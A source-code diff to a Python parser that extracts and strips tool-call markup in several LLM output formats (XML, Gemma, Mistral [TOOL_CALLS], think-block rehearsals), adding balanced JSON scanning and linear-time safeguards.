+_REHEARSAL_TAIL_STRIP_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?:\{.*)?$", re.DOTALL)
+
+# Tool-XML strip patterns; hyphen in the name class covers dashed MCP names.
+# Closed-pair patterns are named so _PAT_REQUIRED_TOKEN can skip a doomed lazy rescan when
+# the close token is absent: an unguarded ``<tag>.*?</tag>`` rescans to EOF from every opener
+# (quadratic on a stream of unclosed openers). Also reused by the quote-aware Gemma pre-pass.
+_TC_JSON_CLOSED_PAT = re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL)
+_TC_GEMMA_CLOSED_PAT = re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL)
+_TC_FUNC_CLOSED_PAT = re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL)
 _TOOL_CLOSED_PATS = [
-    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    _TC_JSON_CLOSED_PAT,
+    _TC_GEMMA_CLOSED_PAT,
     re.compile(r"<tool_call\|>"),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
+    _TC_FUNC_CLOSED_PAT,
+    # Mirror the parser regexes: tolerate whitespace and v11 [CALL_ID]/[ARGS] metadata.
+    re.compile(
+        r"\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*"
+        + _BRACKETED_JSON_ONE_LEVEL,
+        re.DOTALL,
+    ),
+    _REHEARSAL_CLOSED_STRIP_RE,
+    # Drop the bare v11 [/TOOL_CALLS] closer the balanced scan leaves behind.
+    re.compile(r"\[/TOOL_CALLS\]"),
 ]
-_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+# Bare open markers strip a partial call mid-stream; the rehearsal tail needs `{` or EOF
+# so prose ``foo[ARGS]`` survives. The XML open-tail forms reach EOF and are reused by
+# _tool_call_markup_spans (a think tag in an unclosed call's args stays argument data).
+_TOOL_OPEN_XML_TAIL_PATS = [
     re.compile(r"<tool_call>.*$", re.DOTALL),
     re.compile(r"<\|tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
+_TOOL_ALL_PATS = (
+    _TOOL_CLOSED_PATS
+    + _TOOL_OPEN_XML_TAIL_PATS
+    + [
+        re.compile(r"\[TOOL_CALLS\].*$", re.DOTALL),
+        _REHEARSAL_TAIL_STRIP_RE,
+    ]
+)
+
+# Rehearsal strips (name in group 1); name-gated via ``enabled_tool_names``, strip-all when None.
+_REHEARSAL_STRIP_PATS = frozenset({_REHEARSAL_CLOSED_STRIP_RE, _REHEARSAL_TAIL_STRIP_RE})
+
+# Stripped before the quote-aware Gemma helper so a Gemma opener quoted in argument
+# data cannot make the helper truncate the block and its tail.
+_TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT]
+# A lazy closed-pair pattern whose close token is absent would rescan to EOF from every
+# opener; skip that doomed (quadratic) pass. Shared by both strip helpers.
+_PAT_REQUIRED_TOKEN = {
+    _TC_JSON_CLOSED_PAT: "</tool_call>",
+    _TC_GEMMA_CLOSED_PAT: "<tool_call|>",
+    _TC_FUNC_CLOSED_PAT: "</function>",
+}
+
+
+def strip_tool_patterns(text: str, patterns) -> str:
+    """Apply ``patterns`` in order, skipping closed-pair passes with no close token."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        text = pat.sub("", text)
+    return text
+
+
+def apply_tool_strip_patterns(
+    text: str,
+    patterns,
+    enabled_tool_names = None,
+) -> str:
+    """Apply strip ``patterns`` to ``text``. A bare rehearsal ``name[ARGS]{..}`` pattern
+    strips only when ``name`` is an enabled tool (or when ``enabled_tool_names`` is
+    ``None``); every other pattern is removed unconditionally. A closed-pair pattern whose
+    close token is absent is skipped so an unclosed-marker stream stays linear."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        if enabled_tool_names is not None and pat in _REHEARSAL_STRIP_PATS:
+            text = pat.sub(lambda m: "" if m.group(1) in enabled_tool_names else m.group(0), text)
+        else:
+            text = pat.sub("", text)
+    return text
+
 
 # Pre-compiled patterns for tool-call XML parsing.
-_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>call:([\w-]+)\s*\{")
+# <|content_invoke_tool_json|> is TML Inkling's native call marker; its JSON uses
+# an ``args`` key and the block closes with <|end_message|>.
+_TC_JSON_START_RE = re.compile(r"(?:<tool_call>|<\|content_invoke_tool_json\|>)\s*\{")
+_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w.\-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
-_TC_END_TAG_RE = re.compile(r"</tool_call>")
+_TC_END_TAG_RE = re.compile(r"</tool_call>|<\|end_message\|>")
 _TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
+# Horizontal-whitespace trailing class keeps the wrapping newline; _trim_param_value trims it.
+_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>[^\S\n]*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
 _GEMMA_QUOTE = '<|"|>'
 _PARAM_CLOSE_TAG = "</parameter>"
@@ -43,7 +144,62 @@ _FUNC_CLOSE_TAG = "</function>"
 # must be identifier-shaped (start with a letter or underscore); a comma
 # followed by digits-then-colon is value text such as a timestamp or ratio
 # (`meet at 10:00, 11:00 tomorrow`), not a new key.
-_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w-]*\s*:")
+_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
+
+# A candidate starting inside a think block is a rehearsal (block kept so literal tags in
+# real args survive); ``$`` accepts an unclosed block mid-stream.
+_THINK_TAG_RE = re.compile(r"<think>.*?(?:</think>|$)|\[THINK\].*?(?:\[/THINK\]|$)", re.DOTALL)
+# Bare open/close markers for prefilled-reasoning turns (template opens <think> in the prompt).
+_THINK_OPEN_RE = re.compile(r"<think>|\[THINK\]")
+_THINK_CLOSE_RE = re.compile(r"</think>|\[/THINK\]")
+
+# Mistral canonical array: [TOOL_CALLS] + JSON list of {"name","arguments"} objects.
+_MISTRAL_ARRAY_RE = re.compile(r"\[TOOL_CALLS\]\s*(?=\[)")
+
+# Mistral name form + v11 [ARGS]/[CALL_ID] shapes; [CALL_ID] is metadata, not the name,
+# and hyphens keep dashed MCP names whole.
+_MISTRAL_BRACKET_RE = re.compile(
+    r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)"
+)
+
+# Rehearsal ``name[ARGS]{json}`` (no [TOOL_CALLS]); the lookbehind keeps the v11 call-id
+# from being taken as the function name.
+_REHEARSAL_RE = re.compile(r"(?<!\[CALL_ID\])\b([\w-]+)\[ARGS\]\s*(?=\{)")
+
+# Above this size skip the balanced scan; the linear regex catch-all bounds pathological output.
+_MAX_BRACKET_SCAN_CHARS = 1_000_000
+
+
+def _balanced_json_span(text: str, start: int) -> int | None:
+    """Return the end index of a balanced JSON object opening at ``start``,
+    or ``None`` if the braces don't balance. Honors escapes and strings.
+    """
+    if start >= len(text) or text[start] != "{":
+        return None
+    depth = 0
+    in_string = False
+    escape = False
+    for j in range(start, len(text)):
+        ch = text[j]
+        if escape:
+            escape = False
+            continue
+        if ch == "\\":
+            escape = True
+            continue
+        if in_string:
+            if ch == '"':
+                in_string = False
+            continue
+        if ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return j
+    return None
 
 
 def _balanced_brace_end(
@@ -109,6 +265,94 @@ def _balanced_bracket_end(src: str, start: int) -> int:
     return -1
 
 
+def _decode_array_items(text: str, body_start: int, body_end: int):
+    """Return ``(objs, ends)`` for each top-level element of the JSON array between
+    ``body_start`` (at or before its ``[``) and ``body_end`` (exclusive): the decoded
+    object and its absolute exclusive end offset.
+
+    Decoding element-by-element with ``raw_decode`` tolerates the comma-less object
+    separators the repo's own Mistral/Ollama multi-call templates emit
+    (``[{...}{...}]``; see ollama_template_mappers.py). A single ``json.loads`` of the
+    whole body rejects that form and would drop every call. The ends also tile the
+    region across the calls' spans so a with_spans consumer strips each exactly once."""
+    decoder = json.JSONDecoder()
+    objs: list = []
+    ends: list[int] = []
+    i = text.find("[", body_start)
+    if i < 0:
+        return objs, ends
+    i += 1
+    while i < body_end:
+        while i < body_end and text[i] in " \t\r\n,":
+            i += 1
+        if i >= body_end or text[i] == "]":
+            break
+        try:
+            obj, rel = decoder.raw_decode(text[i:body_end])
+        except (json.JSONDecodeError, ValueError):
+            break
+        i += rel
+        objs.append(obj)
+        ends.append(i)
+    return objs, ends
+
+
+def _iter_bracket_spans(
+    text: str,
+    start: int = 0,
+    enabled_tool_names = None,
+):
+    """Yield ``(span_start, span_end, kind, match)`` for each balanced bracket-tag
+    call from ``start`` on, in document order; ``span_end`` exclusive. ``kind`` is
+    ``"array"`` ([TOOL_CALLS] [..]), ``"name"`` ([TOOL_CALLS]name{..}, incl. v11
+    [CALL_ID]/[ARGS]) or ``"rehearsal"`` (name[ARGS]{..}).
+
+    ``enabled_tool_names`` (set, or None = unrestricted) gates only the ambiguous
+    bare rehearsal form: name[ARGS]{..} is a call ONLY when ``name`` is enabled, so a
+    prose ``foo[ARGS]{..}`` (foo disabled) is neither parsed nor stripped. Explicit
+    [TOOL_CALLS] markers stay unconditional, keeping parse/strip/detection symmetric.
+
+    Balance-only (no JSON validation) so strip and parse share one scan. The cursor
+    jumps past each consumed span, so a marker inside consumed JSON is never
+    re-matched and each regex re-searches only once its match falls behind: linear."""
+    n = len(text)
+    specs = (
+        ("array", _MISTRAL_ARRAY_RE),
+        ("name", _MISTRAL_BRACKET_RE),
+        ("rehearsal", _REHEARSAL_RE),
+    )
+    nexts = {kind: rx.search(text, start) for kind, rx in specs}
+    cursor = start
+    while cursor < n:
+        for kind, rx in specs:
+            m = nexts[kind]
+            if m is not None and m.start() < cursor:
+                nexts[kind] = rx.search(text, cursor)
+        live = [(kind, m) for kind, m in nexts.items() if m is not None]
+        if not live:
+            return
+        kind, m = min(live, key = lambda km: km[1].start())
+        if kind == "array":
+            end = _balanced_bracket_end(text, m.end())
+            end = None if end < 0 else end
+        else:
+            end = _balanced_json_span(text, m.end())
+        if end is None:
+            # Truncated body: skip and keep scanning; the caller's catch-all strips the tail.
+            cursor = m.end()
+            continue
+        if (
+            kind == "rehearsal"
+            and enabled_tool_names is not None
+            and m.group(1) not in enabled_tool_names
+        ):
+            # Inactive-name rehearsal is prose: advance past its body without yielding.
+            cursor = end + 1
+            continue
+        yield (m.start(), end + 1, kind, m)
+        cursor = end + 1
+
+
 def _split_top_level_commas(src: str) -> list:
     """Split on commas that are not inside a nested ``[]``/``{}`` or a string."""
     parts: list[str] = []
@@ -223,7 +467,7 @@ def _quote_gemma_object_keys(src: str) -> str:
         while i < len(src) and src[i].isspace():
             i += 1
         key_name_start = i
-        while i < len(src) and (src[i].isalnum() or src[i] in "_-"):
+        while i < len(src) and (src[i].isalnum() or src[i] in "_-."):
             i += 1
         key_name = src[key_name_start:i]
         colon_pos = i
@@ -267,7 +511,8 @@ def _quote_gemma_object_keys(src: str) -> str:
                     json.loads(raw.strip())
                     parts.append(raw)
                 except (json.JSONDecodeError, ValueError):
-                    parts.append(json.dumps(raw.strip()) if raw.strip() else raw)
+                    # Quote bare value; empty ({k:}) becomes "" so json.loads sees {"k":""} not invalid {"k":}.
+                    parts.append(json.dumps(raw.strip()))
         else:
             parts.append(src[key_start:i])
     return "".join(parts)
@@ -291,9 +536,99 @@ def _inside_open_parameter(content: str, pos: int) -> bool:
         last_param_start = match.start()
     if last_param_start < 0:
         return False
-    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
-    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
-    return last_param_start > max(last_param_close, last_func_close)
+    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
+    # argument data (even across literal function closes); an unclosed one falls back to func close.
+    own_close = content.find(_PARAM_CLOSE_TAG, last_param_start)
+    if own_close >= 0:
+        return own_close > pos
+    func_close = content.find(_FUNC_CLOSE_TAG, last_param_start)
+    return func_close < 0 or pos < func_close
+
+
+def _func_close_index(content: str, body_start: int, body: str) -> int:
+    """Index in ``body`` of the first ``</function>`` that is not argument
+    data (not inside an open parameter value); -1 when every close is data.
+    Taking the LAST close swallowed prose between the real close and a
+    literal ``</function>`` mentioned later in the answer."""
+    idx = body.find(_FUNC_CLOSE_TAG)
+    while idx >= 0:
+        if not _inside_open_parameter(content, body_start + idx):
+            return idx
+        idx = body.find(_FUNC_CLOSE_TAG, idx + 1)
+    return -1
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim the single wrapping newline the chat template adds around an XML
+    parameter value, preserving indentation inside VALUE (``str.strip()`` destroyed
+    code/diff argument indentation)."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _marker_coverage(content: str, markers) -> list[tuple[int, int]]:
+    """Coverage ``[start, end]`` per marker, used to skip markers that are another
+    call's data. Closes pair to markers via a per-format stack so an inner close
+    is not mistaken for the outer's. Unbalanced braces cover to EOF; balanced with
+    a paired close cover through it (markers before the close are data); balanced
+    without one cover only the braces, so a later sibling is still recovered."""
+    n = len(content)
+    brace_regions = [(s, be) for (s, be, _k, _m) in markers if be >= 0]
+    events = []  # (position, order) with order 0 = braces-done, 1 = close marker
+    for idx, (_start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end >= 0:
+            events.append((brace_end, 0, _kind, idx))
+    for kind, close_re in (("json", _TC_END_TAG_RE), ("gemma", _TC_GEMMA_END_TAG_RE)):
+        for cm in close_re.finditer(content):
+            # A close inside another call's balanced braces is quoted data; it
+            # must not pop an earlier close-less marker and swallow a sibling.
+            if any(s < cm.start() < be for s, be in brace_regions):
+                continue
+            events.append((cm.start(), 1, kind, cm.end()))
+    events.sort(key = lambda e: (e[0], e[1]))
+    waiting = {"json": [], "gemma": []}
+    close_end_for: dict[int, int] = {}
+    for _pos, order, kind, payload in events:
+        if order == 0:
+            waiting[kind].append(payload)  # marker index, now awaiting its close
+        elif waiting[kind]:
+            close_end_for[waiting[kind].pop()] = payload  # innermost open marker closes here
+    coverage = []
+    for idx, (start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end < 0:
+            coverage.append((start, n))
+        elif idx in close_end_for:
+            coverage.append((start, close_end_for[idx]))
+        else:
+            coverage.append((start, brace_end))
+    return coverage
+
+
+def _build_markers(content: str):
+    """JSON/Gemma tool markers as ``(start, brace_end, kind, match)`` in document
+    order; ``brace_end < 0`` marks an unbalanced (to-EOF) open."""
+    markers = []
+    for start_re, gemma, kind in (
+        (_TC_JSON_START_RE, False, "json"),
+        (_TC_GEMMA_START_RE, True, "gemma"),
+    ):
+        for m in start_re.finditer(content):
+            if _inside_open_parameter(content, m.start()):
+                continue
+            brace_end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = gemma)
+            markers.append((m.start(), brace_end, kind, m))
+    markers.sort(key = lambda c: c[0])
+    return markers
+
+
+def marker_coverage(content: str) -> list[tuple[int, int]]:
+    """Coverage spans of JSON/Gemma tool markers so other parsers can treat markup
+    inside a marker's coverage (even a marker that failed to parse) as that call's
+    data rather than a sibling call."""
+    return _marker_coverage(content, _build_markers(content))
 
 
 def parse_tool_calls_from_text(
@@ -301,6 +636,7 @@ def parse_tool_calls_from_text(
     *,
     id_offset: int = 0,
     allow_incomplete: bool = True,
+    enabled_tool_names = None,
     with_spans: bool = False,
 ):
     """Parse OpenAI-format tool calls from model text.
@@ -309,55 +645,73 @@ def parse_tool_calls_from_text(
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
       <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
+      [TOOL_CALLS]web_search{"query":"..."}        (Mistral / Devstral fallback)
+      web_search[ARGS]{"query":"..."}             (reasoning-model rehearsal)
+
+    A call rehearsed inside a ``<think>`` / ``[THINK]`` block is skipped, not
+    executed; the block is kept so a literal tag in a real argument is preserved.
 
     With ``with_spans=True`` returns ``(tool_calls, spans)`` where ``spans[i]``
     is the half-open ``(start, end)`` byte range of ``tool_calls[i]``'s markup
     in ``content`` (including its close tag when present), so a caller can
     remove exactly the parsed markup and keep every other byte intact.
     """
+    # Candidates starting inside a think block are rehearsals, skipped; blocks are kept, and a
+    # think marker opening inside a call is argument data (excluded from spans).
+    _think_spans = _think_spans_outside_tool_markup(content)
+    _think_starts = [s for s, _e in _think_spans]
+
+    def _in_think(pos: int) -> bool:
+        # Spans are ordered and non-overlapping; bisect gives O(log M) per candidate.
+        i = bisect.bisect_right(_think_starts, pos) - 1
+        return i >= 0 and _think_spans[i][0] <= pos < _think_spans[i][1]
+
     tool_calls: list[dict] = []
     call_spans: list[tuple] = []
-    # Collect every supported call format with spans, then emit in document
-    # order. A marker inside another call's argument string is data, not a
-    # separate executable call.
-    parsed_items = []  # (start, span_end, name, arguments)
-    candidates = []  # (start, brace_end, kind, match)
-    for m in _TC_JSON_START_RE.finditer(content):
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1)
-        if end >= 0:
-            candidates.append((m.start(), end, "json", m))
-    for m in _TC_GEMMA_START_RE.finditer(content):
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = True)
-        if end >= 0:
-            candidates.append((m.start(), end, "gemma", m))
-    candidates.sort(key = lambda c: c[0])
-
-    candidate_spans = [(s, e) for s, e, _kind, _m in candidates]
-    for idx, (start, end, kind, m) in enumerate(candidates):
-        if any(s <= start and end <= e for j, (s, e) in enumerate(candidate_spans) if j != idx):
+    # Collect JSON/Gemma markers; _marker_coverage decides nesting so a marker inside
+    # another call's coverage (even one that failed to parse) is data, not executed. A
+    # marker opening inside a think block is a rehearsal and is skipped.
+    parsed_items = []  # (start, span_end, name, arguments) in document order
+    markers = [mk for mk in _build_markers(content) if not _in_think(mk[0])]
+    coverage = _marker_coverage(content, markers)
+    for idx, (start, brace_end, kind, m) in enumerate(markers):
+        if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx):
             continue
+        if brace_end < 0:
+            continue  # unclosed: not parseable; the fallback still excludes its XML
         if not allow_incomplete:
-            tail = content[end + 1 :].lstrip()
+            tail = content[brace_end + 1 :].lstrip()
             close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
             if close_re.match(tail) is None:
                 continue
         try:
             if kind == "json":
-                obj = json.loads(content[m.end() - 1 : end + 1])
+                obj = json.loads(content[m.end() - 1 : brace_end + 1])
                 name = obj.get("name", "")
-                arguments = obj.get("arguments", {})
+                # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside
+                # Hermes) and ``args`` (TML Inkling native calls).
+                arguments = obj.get("arguments")
+                if arguments is None:
+                    arguments = obj.get("parameters")
+                if arguments is None:
+                    arguments = obj.get("args", {})
                 if isinstance(arguments, dict):
                     arguments = json.dumps(arguments)
+                # Inkling echoes the bare tool name (and a role opener) before the
+                # marker: <|message_model|>NAME<|content_invoke_tool_json|>{...}.
+                # Fold that echo into the markup span so promotion removes it too.
+                if name and content.startswith("<|content_invoke_tool_json|>", start):
+                    pre = content[:start]
+                    if pre.endswith(name):
+                        start -= len(name)
+                        if content[:start].endswith("<|message_model|>"):
+                            start -= len("<|message_model|>")
             else:
                 name = m.group(1)
-                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
+                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end]))
         except (json.JSONDecodeError, ValueError):
             continue
-        span_end = end + 1
+        span_end = brace_end + 1
         close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
         ws = len(content[span_end:]) - len(content[span_end:].lstrip())
         close_m = close_re.match(content, span_end + ws)
@@ -369,7 +723,8 @@ def parse_tool_calls_from_text(
         fm
         for fm in _TC_FUNC_START_RE.finditer(content)
         if not _inside_open_parameter(content, fm.start())
-        and not any(s <= fm.start() <= e for s, e in candidate_spans)
+        and not _in_think(fm.start())
+        and not any(s <= fm.start() < e for s, e in coverage)
     ]
     for idx, fm in enumerate(func_starts):
         func_name = fm.group(1)
@@ -382,7 +737,7 @@ def parse_tool_calls_from_text(
             body_end = len(content)
         body_end = min(body_end, next_func)
         body = content[body_start:body_end]
-        close_idx = body.rfind(_FUNC_CLOSE_TAG)
+        close_idx = _func_close_index(content, body_start, body)
         if close_idx >= 0:
             span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
             body = body[:close_idx]
@@ -404,7 +759,7 @@ def parse_tool_calls_from_text(
                 val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
             else:
                 val = _TC_PARAM_CLOSE_RE.sub("", val)
-            arguments[pm.group(1)] = val.strip()
+            arguments[pm.group(1)] = _trim_param_value(val)
         else:
             valid_params = True
             for pidx, pm in enumerate(param_starts):
@@ -422,7 +777,7 @@ def parse_tool_calls_from_text(
                     val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
                 else:
                     val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[param_name] = val.strip()
+                arguments[param_name] = _trim_param_value(val)
             if not valid_params:
                 continue
 
@@ -444,19 +799,293 @@ def parse_tool_calls_from_text(
             }
         )
         call_spans.append((start, span_end))
+
+    # Patterns 3+4: Mistral [TOOL_CALLS] and bare rehearsal via one balanced scan in document
+    # order, so a Mistral call and a rehearsal in one message both parse.
+    if not tool_calls:
+        for start, end, kind, m in _iter_bracket_spans(
+            content, enabled_tool_names = enabled_tool_names
+        ):
+            if _in_think(start):
+                continue
+            # Extend the region over an immediately-following v11 closer so with_spans consumers strip it too.
+            closer = re.match(r"\s*\[/TOOL_CALLS\]", content[end:])
+            region_end = end + closer.end() if closer else end
+            if kind == "array":
+                # Decode elements individually (comma-tolerant): one json.loads of the whole
+                # body rejects the comma-less multi-call arrays Mistral/Ollama templates emit.
+                payload, item_ends = _decode_array_items(content, m.end(), end)
+                if not payload:
+                    continue
+                # Tile the region so every byte belongs to exactly one span; a with_spans consumer
+                # keeps skipped bytes visible and strips promoted markup exactly once.
+                tile_start = start
+                last_span_idx = -1
+                for item_idx, item in enumerate(payload):
+                    if not isinstance(item, dict) or "name" not in item:
+                        continue
+                    args = item.get("arguments", {})
+                    if isinstance(args, str):
+                        # ``arguments`` may itself be a JSON string (OpenAI spec).
+                        try:
+                            args = json.loads(args)
+                        except (json.JSONDecodeError, ValueError):
+                            pass
+                    if not isinstance(args, (dict, str)):
+                        # ``"arguments": null`` (or any non-object scalar) becomes {} like the
+                        # <tool_call> path, not the string "null" auto-heal would mangle to
+                        # a bogus {"query":"null"}.
+                        args = {}
+                    tool_calls.append(
+                        {
+                            "id": f"call_{id_offset + len(tool_calls)}",
+                            "type": "function",
+                            "function": {
+                                "name": item.get("name", ""),
+                                # A bare scalar string stays raw (like the <tool_call> path);
+                                # json.dumps would double-encode it so the arg healer wraps
+                                # "weather" with its literal quotes.
+                                "arguments": args if isinstance(args, str) else json.dumps(args),
+                            },
+                        }
+                    )
+                    item_end = item_ends[item_idx] if item_idx < len(item_ends) else region_end
+                    last_span_idx = len(call_spans)
+                    call_spans.append((tile_start, item_end))
+                    tile_start = item_end
+                if last_span_idx >= 0:
+                    tile_start, _tile_end = call_spans[last_span_idx]
+                    call_spans[last_span_idx] = (tile_start, region_end)
+            else:
+                try:
+                    payload = json.loads(content[m.end() : end])
+                except (json.JSONDecodeError, ValueError):
+                    continue
+                if not isinstance(payload, dict):
+                    continue
+                tool_calls.append(
+                    {
+                        "id": f"call_{id_offset + len(tool_calls)}",
+                        "type": "function",
+                        "function": {
+                            "name": m.group(1),
+                            "arguments": json.dumps(payload),
+                        },
+                    }
+                )
+                call_spans.append((start, region_end))
+
     if with_spans:
         return tool_calls, call_spans
     return tool_calls
 
 
-def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
+def _strip_bracket_tag_calls(text: str, enabled_tool_names = None) -> str:
+    """Strip complete [TOOL_CALLS] arrays / name / bare name[ARGS]{..} calls with one
+    balanced forward scan, so nested JSON args are removed whole (a fixed-depth regex
+    left two-level args behind). Truncated tails go to the caller's catch-all. Linear.
+    ``enabled_tool_names`` gates the rehearsal form (inactive-name prose kept; None
+    strips every span)."""
+    if len(text) > _MAX_BRACKET_SCAN_CHARS:
+        return text
+    out: list[str] = []
+    cursor = 0
+    for start, end, _kind, _m in _iter_bracket_spans(text, enabled_tool_names = enabled_tool_names):
+        out.append(text[cursor:start])
+        cursor = end
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _tool_call_markup_spans(text: str) -> list[tuple[int, int]]:
+    """Spans of tool-call markup, so a literal <think>/[THINK] inside a call's args is
+    stripped WITH the call, not kept as a reasoning block. Covers closed XML/bracket
+    calls and an unclosed XML call (run via allow_incomplete); without the open-ended
+    span the unclosed call's markup would leak after execution."""
+    # Skip a lazy closed-pair pattern whose close token is absent: its finditer would rescan
+    # to EOF from every opener (quadratic on a stream of unclosed openers).
+    spans = [
+        m.span()
+        for pat in _TOOL_CLOSED_PATS
+        if (_PAT_REQUIRED_TOKEN.get(pat) is None or _PAT_REQUIRED_TOKEN[pat] in text)
+        for m in pat.finditer(text)
+    ]
+    spans.extend((start, end) for start, end, _kind, _m in _iter_bracket_spans(text))
+    # An unclosed opener is a real incomplete call only outside closed/bracket spans.
+    for pat in _TOOL_OPEN_XML_TAIL_PATS:
+        for m in pat.finditer(text):
+            if not any(s <= m.start() < e for s, e in spans):
+                spans.append(m.span())
+    return spans
+
+
+def _think_spans_outside_tool_markup(text: str) -> list[tuple[int, int]]:
+    """<think>/[THINK] block spans, minus any whose opening marker sits INSIDE a
+    tool-call span (that tag is argument data, not reasoning). Keeping it would drop a
+    real call after it as rehearsed and leak the call's markup. START tested only, so
+    a greedy unclosed <think> past the call is still that call's argument data."""
+    think_spans = [m.span() for m in _THINK_TAG_RE.finditer(text)]
+    call_spans = _tool_call_markup_spans(text)
+    # Prefilled reasoning: the template opens <think> in the prompt, so add a leading span
+    # (0..close) to skip calls rehearsed there; guarded so a stray close in a normal answer is safe.
+    close = _THINK_CLOSE_RE.search(text)
+    if close is not None:
+        opener = _THINK_OPEN_RE.search(text)
+        if (
+            (opener is None or close.start() < opener.start())
+            and not any(cs <= close.start() < ce for cs, ce in call_spans)
+            and any(cs >= close.end() for cs, ce in call_spans)
+        ):
+            think_spans = [(0, close.end())] + think_spans
+    if not think_spans:
+        return think_spans
+    if not call_spans:
+        return think_spans
+    return [(s, e) for (s, e) in think_spans if not any(cs <= s < ce for cs, ce in call_spans)]
+
+
+def strip_outside_think(text: str, strip_segment) -> str:
+    """Apply ``strip_segment(segment, is_last)`` to visible text around <think>/[THINK]
+    blocks, preserving the blocks verbatim (tool-looking text inside is rehearsal).
+    ``is_last`` is True only after the final block, so trailing-tail patterns apply
+    only there. Shared by every strip path so they stay consistent."""
+    # A think marker opening inside a complete call is argument text; excluding it lets the
+    # stripper see the whole call. START-tested, so an unclosed match stays argument data.
+    think_spans = _think_spans_outside_tool_markup(text)
+    if not think_spans:
+        return strip_segment(text, True)
+    pieces: list[str] = []
+    prev = 0
+    for s, e in think_spans:
+        pieces.append(strip_segment(text[prev:s], False))
+        pieces.append(text[s:e])
+        prev = e
+    pieces.append(strip_segment(text[prev:], True))
+    return "".join(pieces)
+
+
+def _strip_gemma_native_spans(text: str, *, final: bool) -> str:
+    """Remove complete Gemma-native spans, brace/quote-balanced so a literal
+    ``<tool_call|>`` in a quoted argument cannot truncate the span. An incomplete
+    span is dropped to EOF when ``final``, else kept (still streaming)."""
+    out: list[str] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            # Unbalanced: nothing completes from here on. Drop the rest if final,
+            # else keep it; stop either way (rescanning would be quadratic).
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        # Junk between } and <tool_call|> is malformed-call markup: strip through
+        # the close, keep text after it. No close anywhere means stop (linear).
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        out.append(text[cursor:start])
+        cursor = close.end()
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _gemma_span_ranges(text: str) -> list:
+    """``(start, end)`` of each complete Gemma-native span; same walk as
+    ``_strip_gemma_native_spans`` without stripping."""
+    ranges: list[tuple] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            break
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            break
+        ranges.append((start, close.end()))
+        cursor = close.end()
+    return ranges
+
+
